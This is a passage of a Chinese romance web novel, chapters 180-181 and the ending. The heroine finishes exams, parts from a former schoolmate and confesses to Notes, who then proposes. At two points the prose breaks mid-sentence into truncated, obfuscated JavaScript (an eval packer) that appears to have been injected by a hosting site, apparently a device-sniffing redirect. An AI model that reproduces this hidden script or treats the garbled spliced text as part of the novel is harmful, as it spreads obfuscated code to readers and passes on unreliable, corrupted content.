又畅想着公司将如何恢复往日的辉煌,能研发出更多的医疗器械,照顾更多无助的患者,让每一个因残缺而枯槁的灵魂得以完整。 庄森芽在一半的时候退席,把热烈的议论留给夫妻两人。 她回到自己的房间,酒足饭饱地躺在床上,心中有种微醺似 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庄森芽反复上拉了好几回,确认什么新消息都没有之后,猛地把手机往床上一扔,一头栽进自己的枕头里。 “啊啊……”她闷在里面,气恼地发出无可奈何的声响。 刚刚恢复一些的好心情又变得糟糕起来,诺特斯是知道怎么用几行字激怒她的。 不行,不能让自己的情绪总是跟着那个人走。 庄森芽痛定思痛,一下子又从床上坐起来,打算找点什么事做,以来分散自己的注意力。 她离开卧室,从饭桌上摸了一个梨子回来,餐桌旁的爸妈依然就公司的事情议论得不亦乐乎。 回到书桌前,她打开笔记本电脑。 一切都走上正轨,也是时候复习一下被遗忘已久的功课了。 上次回到校园还是一周之前,但那时候,她满脑子都是刚刚发表出去的漫画大结局前半部分,根本没心思学习,只堪堪应付了一下小组作业,想着起码不能拖累别人。 再往前追溯,就要追忆到‘一周情侣’之前了,那是她最后一段的能专注于学业的时期。 而距离那段日子,已经过去差不多一个月,这不禁让人有种恍如隔世的感觉。 从校园网站上下载下来近期的课件,这是她仅剩的灵丹妙药。 然而,这药似乎救不了人。 她只是荒废了一个月,不是打回小学重来了,然而把脸都快贴在屏幕上,还是看不懂天书一般的课件在讲些什么。 看着那些密密麻麻的英文,庄森芽只听心里咯噔一声。 糟了,这样下去不会要留级吧! 那么多艰难险阻都挺过来了,结果要倒在这里? 不要,她庄家人受不了这种屈辱。 一股发奋图强的意志迫使她打起精神,蹭一下从座位上站起来,然后—— 去床上睡觉。 嗯,没什么毛病,只有睡好了,明天才有足够的精神回学校上课。 今天是周一,明天是周二,该死的期末考试集中于下周一二…… ……这怎么看都来不及了吧!? 不行不行不行不行,不能思考那些,现在最要紧的是睡眠。 庄森芽强迫自己闭眼,本以为还要冥思苦想一阵,却没想到一下子就昏睡了过去。 结果就是闹钟都忘了定,第二天可想而知地起晚了。 火速洗漱穿衣,像要赶最后一班火车一般。 庄洪成看女儿着急就送了她一趟,这救了她大半条命。 180. 总会有要告别的人 来到学校,庄森芽直奔教学楼而去,连宿舍都没回。 现在奋起直追已经没什么意义了,她需要的不是课件也不是谁的学术笔记,而是迂回取胜! 学神学霸以及各个和出题老师关系好的同学,她一个都不会放过。 幸好平时和同专业的学生们混得不错,她用几杯奶茶和几顿饭钱成功打好了关系,在短短几天时间里,总结出了一本宝贵的习题册。 在周五的夜晚,宿舍里,庄森芽趴在桌子上,头发凌乱,精神不振,抱着这本由她亲自整理的册子,笑得几乎有点疯癫,“嘿嘿,期末考试,易如反掌,不过是小菜一碟……” 难得回宿舍一趟,她原还想当面感谢一下石玥诗,可这几天,对方的座位一如既往,空空如也,她猜她大概率还在警局,没有被放出来。 这期间,她也接收到了一些其他的消息,比如学生会主席人间蒸发了很久,也有传言说他要转学的。 还有人说上茂市要变天了,权力更替,努力不敌机遇,闹得一部分想要出人头地的学生心思不在学术,然而这可能就是谣言的最初目的。 知道真相的人默不作声,只一心投入于自己的学业上。 危机已然渡过,旁人听闻的只是余波,只有当事人了解海面上已经风平浪静。 在此期间,诺特斯没来打扰她,不过每天会发来几条消息,基本都是汇报他在机承望那边做些什么。 虽然她从不回复,但一一都把那些信息看完。 只有一次给他去了一条消息,问他能不能想办法把石玥诗捞出来,她也只是一个受害者。这个要求得到了肯定的保证。 周五过后,是一个充满了英文专有名词的周末。 然而这个最终的冲刺期可谓过得鸡飞狗跳。 庄森芽白天向各路大神请教,夜晚被好姐妹温枣拉去图书馆熬大夜。 好处就是隔壁经济学专业的学圣何元楚与她们如影随形,虽然对方在她们各自的专业课方面帮不上什么忙——庄森芽是生物医学工程的,温枣则是新闻与传播学——但非专业课方面可谓是解救众生的大菩萨。 费洛也拉着汪素文加入了他们的队伍,后者很刻苦,前者吊儿郎当。 然而,被何元楚说了一句‘狗哥你再不努力就要变成素文的学弟了’,费洛顿时开始发愤图强。 到了期末考试的前一天夜里,庄森芽头晕眼花,感觉一辈子的耐心都交代在了这方寸的书桌之上。但经过这两天的折磨,她认为自己拼一个及格线起码是没有什么问题了。 周一如约而至,学生们在考场外聚集,或志在必得,或忐忑不安。庄森芽属于两者都有,对于及格志在必得,对于再往上就开始忐忑不安。 考试成绩会在圣诞节之后公布,国际学校的老师们在那几天比学生们失联还严重。 考试会进行两天,起码对庄森芽来说是这样。各专业的考试安排不同,有些其他专业的学生早早就已经放假了。 历经两日的磨难,终于,在十二月的尾部,一切都结束了。 从考场走出来的那一瞬间,可谓神清气爽。 大一上就这么收了场,这几个月来,真的是经历了很多很多。 庄森芽跟着同一考场的同学们往教学楼外走,聊着刚才的试题。 走着走着,周围的人的脚步都停下了。 于是她也跟着驻足,向所有人一致盯着的方向看去—— 在教学楼的一层,由诸多澄澈的玻璃构成的大堂里,大理石圆柱的旁边靠着一个人。 这人一身黑色的皮衣,短发潦草,俊秀的面庞看起来有些疲惫,额头上有一片洁白的纱布,眼中是生人勿进的冷光。 “那不是学生会主席吗?”身旁的人议论着,“听说他好久都没出现了……” “不能叫他主席了吧,他都退学了。”有人接茬。 “真的假的,那不是谣传吗?” “他连期末考试都没来,主席的位置上周末就由主席团里的其他成员接替了。” “我靠……” “他人怎么感觉变了,状态好差,同学跟他打招呼他都不理。” “不是主席了,哪还有义务对你笑啊。” 身边的伙伴们边议论着,边离开了教学楼。 然而,庄森芽走到一半的时候便脱离了他们,定定站在那个一身黑的人面前。 之所以会停步,是因为视线从一开始就交汇了。 每一缕目光都在表述着:我有话对你说。 见她过来,裴佑哲离开圆柱,站直了身体,以平缓的声线问她,“后面还有考试吗?” 庄森芽注视着这个人,不着痕迹地打量着他。 裴佑哲退学的事情应该不假,从诺特斯单方面给她发来的那些消息来看,张简栾和裴正现在都在局子里蹲着,裴佑哲并没有掺和进父辈的事情里,所以无罪释放了。 然而,有了这个家族的污点,他显然没办法在原本的环境中待下去,只能离开。 “没有,都考完了。”她说。 “接下来去哪里,回家?” “嗯。” “介意我送你一程吗?” 庄森芽思量了片刻。 他们共有的回忆截止于那间茶室,从裴佑哲骗她出来谈话开始,到他逼迫她联系孙朴,最后到那个张简栾强迫他们做那档子事。 现在她知道,对方那天也只是一个没比她的情况好到哪去的人质,所以当下,表面虽然有些忌惮,但其实内心深处并不怨恨他。 至于这个面容清冷到宛若性格大变的人,这次叫她出去,是否又有什么不可告人的打算—— 庄森芽觉得没有。 因为很明显,即将到来的是一场告别。 至于她为什么这么确信……因为裴佑哲的眼神是这么说的。 “我要先回宿舍放东西。”她说。 “那还是老地方等你。”他道。 冬日,学生们都裹得像一颗颗粽子,她也不例外,主打怎么保暖怎么来,白色的围巾团住了脸颊,只留一双眼睛在外面,四肢也都圆滚滚的,就像婴儿还没长开的手臂。 然而就是在这样的天气之下,裴佑哲只穿了一身黑色的皮衣,它冻得像铁板那样硬,风刮过的时候,仿佛能听到它猎猎鼓动的响声。 他却仿佛不知道冷似的,又好像在渴求这份令人清醒的严寒。 这么穿真的不会感冒吗?而且茶室那天留下的伤似乎还没有痊愈…… 并行的时候,庄森芽侧目打量着他,直想关心两句。 可是又觉得,还是别说了。 不合适。 一路上,收获到了不少的注视,有些人即便失去一些头衔,也依然站在遥不可及的山峦。 庄森芽回宿舍放好了东西,轻装离开了楼宇。 裴佑哲还是把车停在西门的出入口,车还是曾经接她时开的那一辆,只是与以往不同的是,那个一身白西装的人已经不见了,靠在车旁的是一个截然不同的身影。 学生们说他变了,他的确是变了。 脸上没有属于那个学生会主席的宽和笑容,但也没有庄森芽先前体会到的那种令人胆寒的阴森气息。 在她看来,他只是变得……很裴佑哲。 不是大学时期认识的这一个,而是高中那时,喜怒哀乐都表现在脸上的那一个。 上了车,一股木制的香气扑鼻而来,内饰还是和以前一样,简洁、低调,又无法掩饰地透露出一种奢华的气息。 “这辆车晚上就要被收走了。”坐在主驾驶的裴佑哲蓦然开口。 她愣了愣,通过车内的后视镜盯着他,片刻之后,明白过来什么。 “……我听说你要转学了。”庄森芽说。 “嗯,去哪里还没决定。” “什么时候走?” “明天。” 嘴唇微微张开,她却是无言,心中不禁讶异。 这么快? 不过也是,有些离去总是发生得异常突然。 车辆缓缓运行了起来,一时间,只有引擎的声音隔着层层外壳传来。 红灯,绿灯,斑马线上的行人,堆着脏兮兮白雪的绿化带,渐渐变暗的天色。 就这么开了一阵子,在一个空寂的十字路口,裴佑哲张口了。 他目视着前方,眉眼间染上了几乎不可见的悲怆,“森芽,茶室那天的事情……对不起。” 没想到最初听到的会是道歉,庄森芽反应了一下,说道:“……没事,反正也没发生什么。” “当时,不按照张简栾说的做,我以为我爸会有危险。” “我知道。”她简短地回应,没说原谅,因为本就没记恨对方。 “还有……”他低声忏悔着,像是这道闸门打开了就关不上一样,“以前很多事情,我都要说对不起。” 气氛有些压抑,她别扭地换了个姿势,试图摆脱这让人窒息的氛围,“以前的事,就让它们过去吧。” 庄森芽想起诺特斯不久前说过的一番话,其实在听闻那番话过后,她就对裴佑哲曾经的针对和欺压释怀了。 当下,她若有所思地自言自语,“说不定……那些都不是出于你的真心。” 车内突然响起了轻缓的音乐,似乎是车载音响后知后觉地找到了匹配的对象,这才放声歌唱起来。 红灯消湮,车辆再度启动,话语也在短暂的沉寂之后一同而来。 “又和三年前一样了。”裴佑哲说。 “……什么?” “我又要离开去不同的地方。” 啊,原来是指这件事。 庄森芽盯着窗外,景色无意义地闪过脑海,记忆被带回时间意欲掩埋的瞬间。 那好像也是这样一个冬天,一个平平无奇的日子,她像往常一样在午间休息的时候留在了教室里,拿出画笔和画纸,边勾着线,边等一个人翻山越岭从高三的教室跨越几层的距离来找她。 可是那天,直到上课铃声响起,那个人也没有出现。 第二天,她得知他要转学的消息,有些意外,但没什么不舍,只是疑惑,为什么这短暂的友谊连半句告别都没能收获。 “高中那次,你走得很突然。”回忆结束,她说道。 “嗯,因为爸没让我再去学校。” “手续也没亲自去跑?” “他把我关起来了了。” 庄森芽看着对方平淡的侧脸,比他本人讶异,“关起来……为什么?” 裴佑哲笑了一声,似乎有些自嘲,“因为和他吵了一架。我说什么都不想转学,把他激怒了。” “那也不至于关你吧……” “我割腕威胁他。” 她差点没从座位上吓得跳起来,整个人黏在玻璃上,仿佛要被割腕的人是她一样,“啊,你什么?” 这种事一点也不像是这个裴佑哲会做得出来的。 “很孩子气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不管是哪一种,其实都不重要了。 庄森芽靠在窗沿上,目光撇向地面,“但我其实是个爱哭鬼。” 裴佑哲转过头来,有些意外地看了她一眼,“我没见你哭过。” 她摇摇头,“很多回。” 他若有所思地停顿了半晌,“是吗。” “是呀。”她已经在某人那里丢过很多次脸了,比一生加起来掉过的眼泪还多,“特别没骨气,特别软弱。” “……” 庄森芽转过头来,带上调侃的语气,“现在得知这些,对我喜欢不起来了吧?” 裴佑哲听了,轻笑一声,没说什么,而是用发动机的轰鸣代替他的回答。 又上路了,感觉比前半段轻松一些。 话说开了就好了,把误会都解开,才有可能继续相处下去,虽然两人当下面临的是分别。 但或许,在久远的将来,极其巧合的相聚之时,他们还能就这些年发生的事情调侃一二。 说着,啊,那时候我的确喜欢你来着。 说着,真是青涩的青春。 然后一笑了之。 经过一个又一个路口,黄昏之际,黑色的轿车来到了公寓的大门前。 “就到这里吧。”庄森芽说。 裴佑哲没有强求什么,从善如流地踩死了刹车。 “那就……再见?”她试探地问。 对于这种场合不免有些生疏,她一辈子也没经历过几次。 这是个草率的道别,没有临别的赠礼,只有一句干瘪的话语,但对于当下的他们已经足够了。 裴佑哲对她微笑,“再见。” 与她的扭扭捏捏不同,他说得倒是干脆利落。 可能这就是某些当断则断的人格魅力吧。 庄森芽打开车门,下了车,听到车窗降下的声音,转过身来,与对方隔着车内外的空气对视。 “森芽。”裴佑哲似乎还有什么要说。 “嗯。”她应着,表示在听。 “你画的那副肖像画,我没有扔。” 庄森芽眨眨眼睛。 喔,她都快忘记这件事了。 那是多久之前的事了?好像还是‘一周情侣’的期间。 在裴佑哲的家中,某个装修古典的客厅里,她花了一个白天的时间,为他画了一副水彩的肖像画。 但那天的结局并不美好,她最后一次看到它,是在垃圾桶里。 可现在,他说他没有扔。 “我会把它装裱在客厅的墙上,”车窗渐渐关上了,裴佑哲自始至终都没有想要得到她的回应。最后一丝声音挣扎着,从缝隙中传来了出来,“不管我搬去哪里。” 乌黑的防窥膜隔绝了一切视线,几乎没有什么停顿地,车辆启动了,它开离公寓的大门,也消失在了她的视野中。 庄森芽愣愣地看着车辆离去的方向,一时未能回神。 那人说再见的时候很果断,开车离开的时候也很干脆利落,就仿佛在某次放学的街头,道别只为明天的再见。 可是他们大概率不会再见了,他明知道这一点。 〖我会永远记得你。〗 话语与行径在自相残杀。 181. 以及无法告别的人 庄森芽不知道自己在路口站了多久,黄昏都已逝去,脸颊都被冻得有些发红的时候,一声叹息从口中呼出。 “又是一段失败的关系啊。”她自言自语。 转身,低头,走在冰冷的砖路上,星夜在穹顶静谧地相伴。 不由思索着,为什么会变成这样。 究竟是哪一个分岔路口走错了,让一段本应真挚的情谊变得面目全非。 如果在最初就诚恳地袒露心意的话,会不一样吗? 会吧。 在一切还没有变得错综复杂的时候,成也好,散也好,奠定了基调,就不会在歪斜又错误的路上越走越远,越走越偏。 不至于心魔被放大,越来越固执,越来越剑走偏锋。 ‘喜欢’这种感情,就像是燃着火星的干柴,爱护着就能烧得明旺,泼水也就憔悴地湮灭,可如果放着不管,早晚有一天要变成燎原之火。 它会席卷过生命的长河,蔓延在记忆的幽森,久久不灭。 被这样的火灼烧着,人也会奇怪起来,变得不像自己。 所有的感情都被放大,强烈到难以控制,不由自主做出一些异样的举动。 比如裴佑哲对她做过的那些,还有石玥诗对裴佑哲做过的那些。 都是求而不得的孽。 来到了单元楼楼下,庄森芽抬头看着自家的窗户,漆黑的深夜中,橘黄的光线从方方正正的窗格里透出来,看起来十分温馨。 可以的话,她也希望自己心里的那股火能发出这样温暖的光亮来,而不是将人吞噬的熊熊大火,让悸动焚烧殆尽,使依恋挫骨扬灰,最终什么也没能留下。 思及此处,她翻出自己的手机。 一个聊天框始终在最上面显示着,不是因为她将它置顶了,而是因为消息几乎每个小时就会弹一下,内容都是不知疲惫的报备。 早上在做什么,中午在做什么,晚上在做什么。 就算得不到回应,还是持之以恒地发着,就好像有这个义务,所求不过另一颗心的安宁。 庄森芽打开对话框,浏览了一番最新的那些,而后,默默点进那个人的主页,把几个月没动过的备注换了个名字。 “你赢了,诺特斯。”她说。 微凉的指尖在屏幕上敲打,发给对方一句问询:「你在哪?」 大约半分钟,她收到了回信:「在你家。」 看到这三个字,庄森芽不禁皱眉。 已经从机承望那里回来了?为什么不通知她。 ……算了,正好省去找他的功夫了。 继续给对方发消息:「下楼,我有话和你说。」 诺特斯:「现在吗?」 庄森芽:「对。」 诺特斯:「可我现在脱不开身……」 她又开始皱眉,指尖哒哒戳着屏幕:「你在我家干嘛呢?」 一分钟过去了,没收到回应。 索性收起手机,踏进单元楼中,坐上电梯,再离开密闭的铁箱,最终来到家门口。 她深吸了一口气,像在为自己鼓足勇气。 打开门,客厅的视野进入了眼中,她顿时一愣。 屋子里空空荡荡的,几乎称得上是家徒四壁,就像是被洗劫了一样,只剩一盏吊灯在天花板上不知疲倦地亮着。 这是怎么回事……? 庄森芽往里面走了两步,更多的内容进入了视野。 在餐桌边上的墙壁旁,堆着大大小小的纸箱子,有些已经用胶条封了口,有些则还没有。 就在此刻,爸妈的卧室里传来低密的交流声,虚掩的门后有橘色的光亮透过来。 不明所以的庄森芽闻声而去,轻轻推开卧房的门,探头进去观察。 “她妈,这个床单不要了吧,都在柜子底下放了多久了?” “不行,那个是真丝的,给我留着。”祁欢的身影往返于床铺与衣柜之间,看起来忙得不行,“你别翻柜子了,去把卫生间里的东西收拾收拾,好好打扫打扫卫生。” 庄森芽目瞪口呆地看着眼前的一切,忍不住出声问道:“这是在干什么?” 听到门口的动静,夫妻俩转过头来,看到了门口呆若木鸡的女儿。 “呀,芽芽回来了!” “闺女,考试考完啦?” “啊,嗯……”她呆呆地回答。 “我们忙着收拾东西呢,搬家车明天上午就到。”祁欢捏着床单的两角,招呼她过来,“来帮妈把床单叠一下。” 庄森芽一脸茫然地走过去,乖巧又配合地抓住了另一边,“搬家?我们要搬家?” “不是我们,是我和你爸。”祁欢纠正她。 “啊……?为什么?”她呆愣地问,学着老妈的样子把手里的床单对折。 另一边,庄洪颇为激动的声音从卫生间传了过来,“公司换新地址了,我跟你妈想着搬得近一点,以后有什么事情方便。” 祁欢从庄森芽手里接过对折好的床单,冲她狡黠地笑,压低了声音说:“以后这个房子,就归你俩住了。” 还没等问这个‘你俩’具体指的是她和谁,一个脚步声从客厅的方向而来,伴随着陶瓷微微碰撞发出的清脆声响。 “带着花纹的都挑出来了,其他的确定都不带走吗?” 来人是诺特斯,他抱着一摞几乎到他头顶那么高的碟碟碗碗,偏过头来冲卧室里的祁欢问。 “对对,这些就行。”祁欢忙放下了手里的活计,去到诺特斯的身边,把他手头上的东西接过来一些,“剩下的你们留着用,不喜欢旧的就再买。不光是餐具,家具什么的,不喜欢就都换成新的。” 这时候,庄洪成的声音再度从卫生间传来,“要我说,干脆换个新房子得了。” “也行,你们俩人定。”祁欢应和着,抱着半摞碗碟,往堆积着空纸壳箱的客厅走。 诺特斯本也想跟过去,却被庄森芽一下子拽住了手臂。 “唔。”怀里的碟碗颤了颤,发出危急的响动,但好在被他眼疾手快地稳住了,避免了稀里哗啦的粉碎灾难。 庄森芽垫着脚,把男人的上身往下拽,在他的耳旁问道:“这是怎么回事啊?” 诺特斯斜着肩膀,回答说:“你不知道?” “知道什么?” 他沉吟一声,“要不你去看看你家公司的股价。” 她拽着对方的头发丝,让他的腰弯得更低,“别拐弯抹角的。” 男人干脆把头搭在她的肩上,像没力气了似的,“好吧,事情就是你听到的那样,光曙公司正在扩招,以前的地址已经容纳不下那么多员工了,所以要换位置。新地点有点远,所以你爸妈决定搬得近一点。” “哪来的钱买第二套……”说到一半,她就反应过来诺特斯刚才已经陈述过了原因,于是换了个问题,“股价怎么涨了?” “市长大力扶持的企业,想不涨也难吧。”他笑着说。 庄森芽反应过来什么,“机市长已经上任了?” “就昨天的事情。” 她昨天还在考试的苦海里挣扎,难免会错过外界的讯息。 有些迟钝地反应过来,这好像是一件可喜可贺的事情。 终于,长久的斗争有了回报,公司突然没有财务危机了,家境也变得阔绰了起来。 虽然是可以预料的展开,但来得太快,导致一时还有点不适应,没什么真实感。 她瞥了一眼诺特斯手上的碟碗,明白过来他刚才为什么发消息说自己脱不开身,原来是在帮着收拾东西。 紧接着,眉头一皱,突然发现哪里不对。 听爸妈的意思,这个房子是要留给她了,可是话里话外,好像还捎上了一个人。 “你又巴结我爸妈了。”她瞪着他,不容置疑地给他定了罪。 诺特斯这时候还靠在她肩上,眉间是安适的神色,似乎没懂她的意思,“嗯?” “看样子你挺喜欢这个房子。”庄森芽又道。 “是不错。” “要不我也搬出去,给你腾位置?” 他抬起眼眸,显得无害,“那就和桥洞没什么区别了。” 盯着那双眼睛,心里痒痒的,庄森芽撇开视线。 这一刻,她想起来一些本要说的话,于是再度张口,话语简短,“……把东西放好,到我房间来,有话跟你说。” 她把他推开,而后径自走向自己的卧室。 房间里还和以前一样,没什么变化,爸妈只是把他们的东西都打包了,但没有碰她的那些。 一把精巧的尤克里里立在衣柜旁边,可她并不会弹。衣柜里挂着两件长款的风衣,她穿了衣摆都会坠在地上。 不知不觉,这件房间里也不都是自己的东西了。 给门留了一道缝隙,来到靠窗的那侧,她在床边坐下,盯着窗外的景色,属于城市的各色光线照射进来,不需开灯,也能为室内提供还算清晰的视野。 客厅传来短暂的交流,而后一个脚步声朝卧室走来,门被轻轻推开,然后安静地闭合。 后进来的人没有开灯,无言地绕过床铺,来到她所在的那一边。 床铺凹陷进去一些,她的身体随之微微倾斜,而后就那么靠进了一个宽阔而温暖的怀抱里。 “要说什么?”诺特斯在她耳旁轻声问。 张张嘴,庄森芽顿了顿才说:“我是……想谢谢你,一直以来做的这些。” 勇气还是过少,想说的话被压在了箱底,最先翻出来的全都是些不那么需要胆量的话语。 “没有你,我家的情况没那么容易好转。”她道。 “这是我答应你的。”他扬扬眉,语气轻松,意思是,不用道谢。 听到这样的回答,庄森芽却是瘪了瘪嘴嘴。 那么自然而然地靠近她,那么自然而然地抱着她,那么自然而然地把她的事情当成自己的事情一样对待,可是为什么就不能自然而然地说出那句话呢? 她从怀抱里挣开,微微侧过身来,目光沉浮了几次,这才和另一个人对上视线。 月光打进来,不管什么东西都镀上了一层惑人的银边,不管是脸颊、睫毛,还是鼓动的情愫。 气氛刚好,适合说一些没有理智的话。 可是憋了半天,还是死死盯着男人的眼睛,半个字也吐不出来。 “这就说完了?”最终,还是诺特斯开的口,“说完了,那轮到我了。” 庄森芽一听,连忙捂住他的嘴,“不行。” 于是男人保持静默,只用一双柔和的眼睛盯着她,那样子仿佛是在耐心地等待着什么,就像知道她最开始说的那些,并不是真正想说的话。 感觉被看穿了,她心跳开始加速,脸颊也在发热,于是习惯性地拿凌人的气场掩饰,“让我先说。如果……如果你想说的,和我想说的不一样,诺特斯,你就去住桥洞吧。” 他温柔地摘掉她的手,回应道:“可以。” 紧接着到来的是一段漫长的心路历程,不断地在‘就现在’和‘再等等’之间纠结,心理用来抉择的雏菊摘了一朵又一朵,一片花圃都快被她揪秃了,还是没有下定决心。 这是她这辈子第一次做这种事情,看别人说简单,轮到自己却发现有多艰难。 过往的记忆在这一刻全都翻涌上来,翻来覆去地回忆着,评判着这一刻的坦率是否合适。 期待着回应,又害怕回应。要么满载而归,要么一无所有,感觉和蹦极的前一刻也没差多少。 鼓足了好几次勇气,又泄了好几次力,嘴唇嗡动着,视线渐渐沉落了下去。 对视着,是永远没有勇气说出来那句话的。她想。 于是选择把头靠近对方的胸膛,将自己的声音闷在衣料之中,只有这样,才能淡化那一层又一层的情绪。 “……我喜欢你。” 这几乎是气音,但在空寂的卧室内,也足够大了。 话音落下之后,她没有抬头,几乎有点不敢相信自己居然真的说出了口。 这句话不管是被谁说出来,都推迟得太久了,情窦初生的时刻,距离现在早过去了一段日子。 但也不算耽搁太长时间,因为自她真正接受它以来,并没有过去多久。 靠在对方的胸膛里,她束手无策地等待着回应。 这几秒的时间十分漫长,漫长到她摒息都要摒得窒息。 动摇的叹息声从头顶传来,随后,男人同样低哑的声音响起。 “我也喜欢你,森芽。” 这句话说得郑重其事。 直到这一刻,她才又能找回自己的呼吸,那般急促,仿佛刚才过去的是一道难以逾越的鸿沟。 然而,紧接着,还未等欣喜敲开心门,却是一股怨怼之情随之升起。 对方将她拥紧了一些,更近的距离却让她的鼻尖开始泛酸。 她揪着他的衣服,在下一刻推开。 几乎是咬着牙,声音十分不甘,泪水又不争气地在眼眶里打着转。 她质问他,“笨蛋,为什么我说了你才肯说?” 诺特斯一如既往地笑着,用指尖轻碰她的脸颊,“因为我……也在害怕。” 男人的眼神失却了往常的清醒,仿佛被什么朦胧的薄雾罩住,布满了模糊的幻影,每一个都有着她的影子。 又好像,只消一句话,就已经获得了此生的完满,再无所求。 “你怕什么?”庄森芽问他。 “……我怕自己会变成千风之中的一缕,”诺特斯的话音渐弱,目光也沉沦,捉起她的一只手,轻轻吻在指节,“在你拒绝我的那个夜晚消散。” 他给出了解释,可庄森芽宁愿自己没有问这个问题。 只因心脏似乎被什么东西轻轻地捏住,隐隐作痛。 于是为了消解这份苦痛,她又说了一遍那句话。 很神奇地,好像每多说一次,疼痛就能缓解一分。 于是一次又一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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属于自己的画室……听着有种莫名升起的满足感,之前不觉得什么,然而马上就要拥有了,居然还有点隐隐期待。 推动把手,房门徐徐敞开。 率先吹来的是一股凉风,带着一股木头和颜料的气息;视野良好的窗户打开了一条缝隙,纱帘在轻轻鼓动着,把天际映衬成淡蓝的颜色;木质的画架立在角落,空白的纸张期待着不同色泽的笔墨;一张面向窗台的桌子上,画笔工具应有尽有,一盏落地灯安静地矗立在一旁,花骨朵似的灯头垂落下来,冲着淡雅整齐的桌面。 她走进去,发现墙壁上摆着大大小小的画框,里面是亟待填充的空白,只等一位造梦的使者到来,将一切的虚无驱赶。 看着眼前的景象,庄森芽不由得有些发愣。 这有点超出她的预期了——色彩的搭配,房屋内的摆设,每一样都很合心意。 是诺特斯调查过她的喜好,还是他们本就相似? “喜欢吗?”身后响起来问询的声音。 没什么好挑刺的,更没有好煞风景的,她很快就回答,“喜欢。” “那我们结婚吧。” “嗯……嗯?” 一下子没反应过来,征询地回过头去,却没看到本该在那里的人影。 低头,发现原来是男人单膝跪在了地上。 开着暖气的室内不需要过多的着装,他还是穿着惯常的白衬衫,整个人看起来干净又整洁,像海边旅馆门口的琴手,总是十分潇洒,无时不刻。 掌心躺着那原本摆在茶几上的银白色方盒,他用两只手裹住,轻松地敞开,里面躺着一枚同样银白的戒指。 “一点小小的束缚,你愿意接受吗?”诺特斯抬起头来问她,那般坦然,和以往的这种时刻截然不同,就仿佛遭到拒绝也不再会受到伤害。 庄森芽愣愣地盯着,好半天才反应过来这是在做什么。 一抹绯色攀上脸颊,她没经历过这种事情,第一反应是把对方从地上拽起来,“傻、傻瓜,我还没到结婚年龄呢!” 可是男人纹丝不动,就仿佛她不取走他掌心的石中剑,他就站不起来一样。 诺特斯笑得眼睛都眯起来,“可以先度蜜月,正好你的假期也到了。” 捞不动对方,她干脆也蹲坐了下去,无可奈何地说着,“笨蛋,顺序不是这样的。” “那你来定。”他顺从地道,主打一个随遇而安。 庄森芽张口好几次,却是什么也没说出来。 哪有前两天刚告白,紧接着就求婚的? 这人的进度总是跟坐火箭一样,跟不上,她真的跟不上。 诺特斯见她没什么反应,托起细长的左手,威胁性质地把戒指摆在指尖,抬眼盯着她,“给你五秒的时间,过了就算默许了。” 谁也没有倒计时,然而时间不会因为不出声音就不流逝。 她有点僵硬地盯着那枚戒指,直到它牢牢地套在了自己的无名指上,大小刚刚合适。 张开五指,它熠熠生辉。她看到同样的烙印出现在男人的左手,光辉与她的别无二致。 戴在手上的对戒令人有些晃神,谁能想到,与她签订这份契约的,会是这个某一刻突然降临的异邦人。 人生还真是充满了各种各样意外。 这么想着,突然觉得多一两场也无妨。 戒指已经戴在了手上,这次她再去把诺特斯拽起来,就显得轻松了很多。 穿过清新的画室,庄森芽踱步来到窗边,趴在窗台上。 男人尾随而至,侧靠在一旁的墙壁。 “蜜月我想去希腊。”她盯着窗外,就这么改了主意。 对于她的转变,另一个人显然乐于接受,他勾起她垂下的指尖,十指交握在一起,“一周后的景色很美,正适合郊游。” “我还想看你写歌。”她提着要求。 “那么你来执笔。” “你的演唱会,我要坐第一排。” “你坐台上。” 阳光透过纱帘,注入了几道笔直的光束,晃得人有些睁不开眼,宛若置身于梦幻。 于是她偏过头去,视线正好落在另一个人的脸上。在日光的照射下,他的眼睛泛着淡金的色泽,轮廓散发着异于肤色的微光,睫毛细长,每一寸都像经过匠人百年的精心雕琢。 这张脸不管看多少遍,庄森芽都想感叹一句: “真不愧是我笔下的反派。” 听闻,诺特斯笑起来。 他似乎总是在笑,开心的时候也好,动怒的时候也好,顺利的时候也好,困境中的时候也好,那似乎是他的一种态度,怎样也无法摧折。 “我就当成是夸奖了。” 庄森芽感觉自己大抵是被感染了,也在原本不会微笑的时候勾起嘴角。 “说句心里话。”日光打在她的侧脸,将这一刻的笑容镌刻,“我很开心,能活在一个有你的世上。” 他似要将这一幕忆为永恒,投来深深的凝望,“我也一样。” 【全文完】